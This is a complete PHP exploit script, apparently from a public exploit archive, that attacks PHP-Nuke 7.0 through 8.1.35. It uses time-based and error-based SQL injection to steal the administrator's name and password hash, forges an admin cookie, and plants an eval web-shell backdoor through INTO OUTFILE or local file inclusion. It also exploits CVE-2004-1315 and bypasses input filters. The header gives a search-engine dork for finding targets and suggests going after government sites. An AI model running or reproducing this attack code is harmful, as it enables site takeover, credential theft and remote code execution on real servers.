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#!/usr/bin/php <?php /******************************************************************************* Wormable Remote Code Execution in PHP-Nuke 7.0/8.1/8.1.35(newist as of release) Vendor's Website:http://phpnuke.org/ Secuirty Researcher: Michael Brooks (https://sitewat.ch) Original Advisory: http://blog.sitewat.ch/2010/05/vulnerabilities-in-php-nuke.html Google hack: "Francisco Burzi""Page Generation:"Seconds inurl:modules.php 1,170,000 results add inurl:gov to the google hack if you want to make the news ;) Works with maigic_quotes_gpc=On or Off Works with AppArmor and Suhosin Hadend-PHP, tested on Ubuntu 9.04 and 10.04 My own LFI+SQLI attack is used to bypass AppArmor! Also tested XAMPP on Windows XP All tests where done with MySQL5 and PHP5 To obtain a user's cookie: 1) Register a normal account 2) Login 3) Type this into the same address bar and hit enter: javascript:document.cookie To set a cookie you can do use this: javascript:document.cookie="admin=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2" *******************************************************************************/ set_time_limit(0); //The blind_sql_injeciton calss is a general exploit framework that we are inheriting. class php_nuke_blind_sql_injection extends blind_sql_injection { //This is the blind sql injection request. function query($check){ //Rate limiter to bypass ipban.php's protection. //Must stay below 5 requests every 2 seconds. if(!($this->request_count%4)){ sleep(2); } //build the http request to Inject a query: //This is a simple get request with a custom referer //$this->set_referer("'="/\*"(select ".$check." from nuke_authors limit 1))-- */"); $this->set_referer("'=(select ".$check." from nuke_authors limit 1))-- 1"); /*example get and post request. *$this->set_get("id=1 or (select ".$check." from nuke_authors limit 1))";//$_GET[id] *$this->set_post("id=1 or (select ".$check." from nuke_authors limit 1))");//$_POST[id] */ } } //This is a very efficient blind sql injection class. class blind_sql_injection{ var $url, $backup_url, $result, $http, $request_count, $timeout; function blind_sql_injection($url,$timeout=10){ $this->request_count=0; $this->url=$url; $this->backup_url=$url; $this->http=new http_client(); $this->timeout=$timeout; } function set_get($get){ $this->url=$this->url."?".$get; } function set_referer($referer){ $this->http->referer=$referer; } function set_post($post){ $this->http->postdata=$post; } function test_target(){ return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)"); } function num_to_hex($arr){ $ret=''; foreach($arr as $a){ if($a<=9){ $ret.=$a; }else{ $ret.=chr(87+$a); } } return $ret; } //Looking for a string of length 32 and base 16 in ascii chars. function find_md5($column){ return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)")); } function find_sha1($column){ return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)")); } //Look for an ascii string of arbitrary length. function find_string($column){ $ret=''; //A length of zero means we are looking for a null byte terminated string. $result=$this->bin_finder(128,0,"ascii(substring($column,%s,1))"); foreach($result as $r){ $ret.=chr($r); } return $ret; } //query() is a method that generates the sql injection request function query($check){ //This function must be overridden. } function recheck($result,$question,$base){ $this->bin_finder($base,1,$question,$start); //Force a long timeout. $tmp_timeout=$this->timeout; if($this->timeout<10){ $this->timeout=10; }else{ $this->timeout=$this->timeout*2; } $l=1; foreach($result as $r){ if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){ $result[]=$b; break; } $l++; } $this->timeout=$tmp_timeout; } function linear_finder($base,$length,$question){ for($l=1;$l<=$length;$l++){ for($b=0;$b<$base;$b++){ if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){ $result[]=$b; break; } } } } #Binary search for mysql based sql injection. function bin_finder($base,$length,$question){ $start_pos=1; $result=''; for($cur=$start_pos;$cur<=$length||$length==0;$cur++){ $n=$base-1; $low=0; $floor=$low; $high=$n-1; $pos= $low+(($high-$low)/2); $found=false; while($low<=$high&&!$found){ #asking the sql database if the current value is greater than $pos if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){ #if this is true then the value must be the modulus. if($pos==$n-1){ $result[]=$pos+1; $found=true; }else{ $low=$pos+1; } #asking the sql database if the current value is less than $pos }else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){ #if this is true the value must be zero, or in the case of ascii,a null byte. if($pos==$floor+1){ $found=true; #We have found the null terminator so we have finnished our search for a string. if($length==0){ $length=-1; }else{ $result[]=$pos-1; } }else{ $high=$pos-1; } }else{ #both greater than and less then where asked, so so then the answer is our guess $pos. $result[]=$pos; $found=true; } $pos=$low+(($high-$low)/2); } print("."); } return $result; } //Fire off the request function send($quesiton){ //build the injected query. $this->query($quesiton); $start=time(); $resp=$this->http->send($this->url); //backup_url is for set_get() $this->url=$this->backup_url; $this->request_count++; return (time()-$start>=$this->timeout); } //retroGod RIP function charEncode($string){ $char="char("; $size=strlen($string); for($x=0;$x<$size;$x++){ $char.=ord($string[$x]).","; } $char[strlen($char)-1]=")%00"; return $char; } } //General purpose http client that works on a default php install. class http_client{ var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata=''; function send($loc){ //overload function polymorphism between gets and posts $url=parse_url($loc); if(!isset($url['port'])){ $url['port']=80; } $ua='Firefox'; if($this->proxy_ip!=''&&$this->proxy_port!=''){ $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 ); $url['path']=$url['host'].':'.$url['port'].$url['path']; }else{ $fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 ); } if( !$fp ) { print "$errstr ($errno)<br>\nn"; return false; } else { if( $this->postdata=='' ) { $request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n"; } else { $request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n"; } if($this->proxy_name!=''&&$this->proxy_pass!=''){ $request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n"; } $request.="Host: ".$url['host'].":".$url['port']."\r\n"; $request.="User-Agent: ".$ua."\r\n"; $request.="Accept: text/plain\r\n"; if($this->referer!=''){ $request.="Referer: ".$this->referer."\r\n"; } $request.="Connection: Close\r\n"; if($this->cookie!=''){ $request.="Cookie: ".$this->cookie."\r\n" ; } if( $this->postdata!='' ) { $strlength = strlen( $this->postdata ); $request.="Content-type: application/x-www-form-urlencoded\r\n" ; $request.="Content-length: ".$strlength."\r\n\r\n"; $request.=$this->postdata; } fputs( $fp, $request."\r\n\r\n" ); while( !feof( $fp ) ) { $output .= fgets( $fp, 1024 ); } fclose( $fp ); //php_nuke only: if(strstr($output,"too many page loads")){ print "REQUEST CAP HIT!\n"; print_r(debug_backtrace()); print "REQUEST CAP HIT!\n"; die(); } return $output; } } //Use a http proxy function proxy($proxy){ //user:pass@ip:port $proxyAuth=explode('@',$proxy); if(isset($proxyAuth[1])){ $login=explode(':',$proxyAuth[0]); $this->proxy_name=$login[0]; $this->proxy_pass=$login[1]; $addr=explode(':',$proxyAuth[1]); }else{ $addr=explode(':',$proxy); } $this->proxy_ip=$addr[0]; $this->proxy_port=$addr[1]; } //Parses the results from a PHP error to use as a path disclosure. function getPath($url,$pops=1){ $html=$this->send($url); //Regular error reporting: $resp=explode("array given in <b>",$html); if(isset($resp[1])){ $resp = explode("</b>",$resp[1]); }else{ //xdebug's error reporting: $resp=explode("array given in ",$html); if(isset($resp[1])){ $resp = explode(" ",$resp[1]); }else{ $resp[0]=false; } } $path=$resp[0]; //Can't use dirname() if(strstr($path,"\\")){ $p=explode("\\",$path); for($x=0;$x<$pops;$x++){ array_pop($p); } $path=implode("\\",$p); }else{ $p=explode("/",$path); for($x=0;$x<$pops;$x++){ array_pop($p); } $path=implode("/",$p); } return $path; } //Grab the server type from the http header. function getServer($url){ $resp=$this->send($url); $header=explode("Server: ",$resp); $server=explode("\n",$header[1]); return $server[0]; } } function main(){ $user_input=getopt("t:c:a:"); if($user_input['t']){ $attack_url=$user_input['t']; if($user_input['c']){ $user_cookie=$user_input['c']; } //This is only useful for debugging,so its not listed in the useage. if($user_input['a']){ $admin_cookie=$user_input['a']; } }else{ print("Useage: ./php_exploit -t http://localhost\n"); die("A user's cookie is required for 8.1.35 : ./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==\n"); } $attack_url=str_replace("index.php","",$attack_url); $http=new http_client(); $sex=new php_nuke_blind_sql_injection($attack_url."/"); if(!$admin_cookie){ //This is what a cookie looks like: //2:user_name:21232f297a57a5a743894a0e4a801fc3:10::0:0:0:0:DeepBlue:4096 //$user_cookie="user=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2"; if($user_cookie){ print "Using cookie...\n"; $http->cookie=$user_cookie; //1337+30000 is used as a pivot in parsing,and to test for a sucessful injection. //This is NOT Blind SQL Injection,we will be reading the result.This attack works with magic_quotes_gpc on or off. $http->postdata="title=wow\\&bodytext=/*&mood=".urlencode("'*/,0,0,1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry"; $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew"); //This part of the exploit is a bit strange sorry for the mess,gotta realease! if(strstr($response,"javascript:history.go(-1)")){ //magic_quotes_gpc=on $http->postdata="title=wow&jbodytext=text&mood=".urlencode("',1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry"; $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew"); $http->postdata=''; //Find the primary key of the journal entry we just created. $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit"); //we should have the single quote that we escaped at the end of wow' $jid=explode("\">wow<",$jid); $jid=explode("jid=", $jid[0]); //Check the journal for the admin's username/password hash $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]); if(strpos($response,"31337")){ list($junk,$aid,$pwd)=explode("31337 @ ",$response); $aid=explode("<",$aid); $pwd=explode("<",$pwd); $user_name=$aid[0]; $pass_hash=$pwd[0]; }else{ //magic_quotes_gpc=off sleep(3); $http->postdata="title=wow\\&jbodytext=/*&mood=1&status=".urlencode("no',(select aid from nuke_authors limit 1),(select pwd from nuke_authors limit 1))-- 1")."&submit=Add+New+Entry"; $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew"); sleep(2); $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit"); $jid=explode("\">wow<",$jid); $jid=explode("jid=", $jid[0]); $jid=explode("\">",$jid[1]); //Check the journal for the admin's username/password hash $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[0]); $inj=explode("Last updated on ",$response); $inj=explode(" @ ",$inj[1]); $pass_hash=$inj[0]; $inj=explode("<",$inj[1]); $user_name=$inj[0]; } }else{ $http->postdata=''; //Find the primary key of the journal entry we just created. $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit"); //we should have the single quote that we escaped at the end of wow' $jid=explode("\">wow',<",$jid); $jid=explode("jid=", $jid[0]); //Check the journal for the admin's username/password hash $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]); if(!strpos($response,"31337")){ die("target has patched!\n"); }else{ print "Target vulnerable to a privilege escalation attack!!!\n"; list($junk,$aid,$pwd)=explode("31337 @ ",$response); $aid=explode("<",$aid); $pwd=explode("<",$pwd); $user_name=$aid[0]; $pass_hash=$pwd[0]; } } }else{ $sex->sleep="sleep(5)"; print "Starting Attack Against:".$attack_url."/\n"; print "Testing for blind sql injection...\n"; if(!$sex->test_target()){ print("Target might be running 8.1.35\n"); print("Try the privilege esciation attack to upload the shell:"); die("./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==\n"); } print "Target is vulnerable to blind sql injection!!!\n"; print "Please Standby For Attack...\n"; $pass_hash=$sex->find_md5("pwd"); $user_name=$sex->find_string("aid"); print "attacked used:".$sex->request_count." requests.\n"; } print "Found Admin's name:".$user_name."\n"; print "Found MD5 Password hash:".$pass_hash."\n"; $admin_cookie="admin=".base64_encode($user_name.":".$pass_hash.":").";"; } print "Using Admin Session ID:\n".$admin_cookie."\n"; $http->cookie=$admin_cookie; //ipban.php sleep(3); //This request will tell us what version of php-nuke it is. //If it is 8, Then the page gives us configuration information to perserve. $admin_options=$http->send($attack_url."/admin.php?op=general"); if(!strstr($admin_options,"Content-Length: 0")){ print "PHP-Nuke 8 detected.\n"; $option_values=explode("value='",$admin_options); $x=0; array_shift($option_values); //Parsing out and storing configuration values to restore them after the hack. foreach( $option_values as $value){ $value=explode("'",$value); $values[]=urlencode($value[0]); if($x++==4) break; } //ipban.php sleep(2); //Enable error reporting $http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=1&op=savegeneral"; $error_reporting=$http->send($attack_url."/admin.php"); //Path diclosure in add_pwd.We will trigger a warning by passing md5() the array add_pwd[]. $http->postdata="add_name=junk&add_aid=junk&add_email=junk&add_url=junk&add_admlanguage=&auth_modules%5B%5D=23&add_radminsuper=1&add_pwd[]=junk&op=AddAuthor"; $remote_path=$http->getPath($attack_url."/admin.php",3); sleep(2); if(strstr($remote_path,':\\')){ print "Windows box detected.\n"; print "Remote path:$remote_path\n"; print "Uploading backdoor...\n"; $remote_path=addslashes(addslashes($remote_path."\\frontend.php")); $backdoor='get_magic_quotes_gpc()?eval(stripslashes($_GET["e"])):eval($_GET["e"])'; //Could have used a concat but php-nuke filters for it.This hides <> from the xss filter. //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php $http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '".$remote_path."'-- 1"); $re=$http->send($attack_url."/admin.php?op=modifyUser"); //Disable error reporting $http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=0&op=savegeneral"; $error_reporting=$http->send($attack_url."/admin.php"); }else{ print "*nix box detected.\n"; print "Remote path:$remote_path\n"; //Is mysql on the same machine as the httpd? sleep(2); $http->postdata="chng_uid=".urlencode("' or 1=(select if(substring(load_file('".$remote_path."/index.php'),1,1)='<',0,1))-- 1"); $mysql_check=$http->send($attack_url."/admin.php?op=modifyUser"); if(strstr($mysql_check,"User Doesn't Exists!")){ print("MySQL isn't on the same machine or you do not have file privileges.\n"); die("Remote code execution failed\n"); } print "Uploading backdoor...\n"; //ipban.php sleep(2); //Grab the theme,this is needed to repair the database after the LFI $theme=$http->send($attack_url."/admin.php?op=themes"); $theme=explode('src="https://www.exploit-db.com/exploits/12510/themes/',$theme); $theme=explode('/images/',$theme[1]); //Repair the database after the LFI. $backdoor_installer='function OpenTable(){} function themeheader(){} $db->sql_query("update ".$prefix."_config set Default_Theme='.$sex->charEncode($theme[0]).', display_errors=0");'; //This is a magic_quotes_gpc and mysql safe backdoor that fits on one line. $backdoor='get_magic_quotes_gpc()?eval(stripslashes(".chr(36)."_GET[".chr(34)."e".chr(34)."])):eval(".chr(36)."_GET[".chr(34)."e".chr(34)."])'; //Install the backdoor in a relitive directory. $backdoor_installer.='file_put_contents($_SERVER["DOCUMENT_ROOT"].dirname($_SERVER["SCRIPT_NAME"])."/frontend.php",chr(60)."?php '.$backdoor.'?".chr(62));'; //charEncode is used to bypass XSS filters. //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php $http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor_installer."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '/tmp/theme.php'-- 1"); $http->send($attack_url."/admin.php?op=modifyUser"); sleep(2); //local file include vulnerablity to execute /tmp/theme.php $http->postdata="xDefault_Theme=../../../../../../../../../../../tmp&xoverwrite_theme=0&op=savethemes"; $http->send($attack_url."/admin.php"); sleep(2); $http->postdata=''; //Fire off a get request to trigger the uploaded php file using LFI $http->send($attack_url); sleep(2); //Try the LFI again, just in case. $http->send($attack_url."/admin.php"); } sleep(2); //test if the backdoor works,try and clean up after the exploit. $test_backdoor=$http->send($attack_url."/frontend.php?e=".urlencode("echo 31337;unlink('/tmp/theme.php');system('rm /tmp/theme.php');")); if(strstr($test_backdoor,"31337")){ print "Remote Code execution tested successfully:\n".$attack_url."/frontend.php?e=phpinfo()".urlencode(';')."\n"; }else{ print "Backdoor install failed!\n"; } }else{ ////PHP-Nuke 7.0 Remote Code Execution Exploit using CVE-2004-1315 which affects the phpBB 2.0.6 module. print "PHP-Nuke 7 detected.\n"; $http->postdata="";//send get requests. //Fire off a check for CVE-2004-1315,phpbb maybe installed. //This is more like the oringal CVE-2004-1315: %2527.printf(20041315).%2527 //php-nuke was not vulnerable to this because of mainfile line 50: \([^>]*"?[^)]*\) //to byapss this check double urlencode the parren () %2527.printf%252820041315%2529.%2527 $try_exploit=$http->send($attack_url."/modules.php?name=Forums&file=viewtopic&t=1&highlight=%2527.printf%252820041315%2529.%2527"); //if the exploit didn't work,then we might have to enable phpbb and populate it. if(!strstr($try_exploit,"20041315")){ //Enalbe PHPBB $http->send($attack_url."/admin.php?op=module_status&mid=22&active=1"); //create a new category for phpbb $http->postdata="mode=addcat&categoryname=test&addcategory=Create+new+category"; $t=$http->send($attack_url."/modules/Forums/admin/admin_forums.php"); //ipban.php sleep(2); //create a new form in the new category $http->postdata="forumname%5B1%5D=t&addforum%5B1%5D=Create+new+forum&categoryname=test"; $t=$http->send($attack_url."/modules/Forums/admin/admin_forums.php?"); $http->postdata="forumname=t&forumdesc=t&c=1&forumstatus=0&prune_days=7&prune_freq=1&mode=createforum&f=&submit=Create+new+forum"; $http->send($attack_url."/modules/Forums/admin/admin_forums.php?"); //create a new topic in the new form $http->postdata="username=t&subject=t&addbbcode18=%23444444&addbbcode20=12&helpbox=Insert+URL%3A+%5Burl%5Dhttp%3A%2F%2Furl%5B%2Furl%5D+or+%5Burl%3Dhttp%3A%2F%2Furl%5DURL+text%5B%2Furl%5D++%28alt%2Bw%29&message=test&mode=newtopic&f=1&post=Submit"; $http->send($attack_url."/modules.php?name=Forums&file=posting"); //ipban.php sleep(2); //access the first topic. $http->postdata=""; //Check to see if any of the first 10 topics are exploitable. for($t=1;$t<10&&!strstr($try_exploit,"20041315");$t++){ //Fire off a check for CVE-2004-1315. $try_exploit=$http->send($attack_url."/modules.php?name=Forums&file=viewtopic&t=".$t."&highlight=%2527.printf%252820041315%2529.%2527"); } } //Check if we where able to hit CVE-2004-1315. if(strstr($try_exploit,"20041315")){ print("Remote Code execution tested successfully:\n".$attack_url."/modules.php?name=Forums&file=viewtopic&t=".--$t."&highlight=%2527.phpinfo%2528%2529.%2527\nThis is a Doulbe urlencode()\n"); }else{ print("Remote code execution has failed!\n"); } } } main(); ?> |
体验盒子
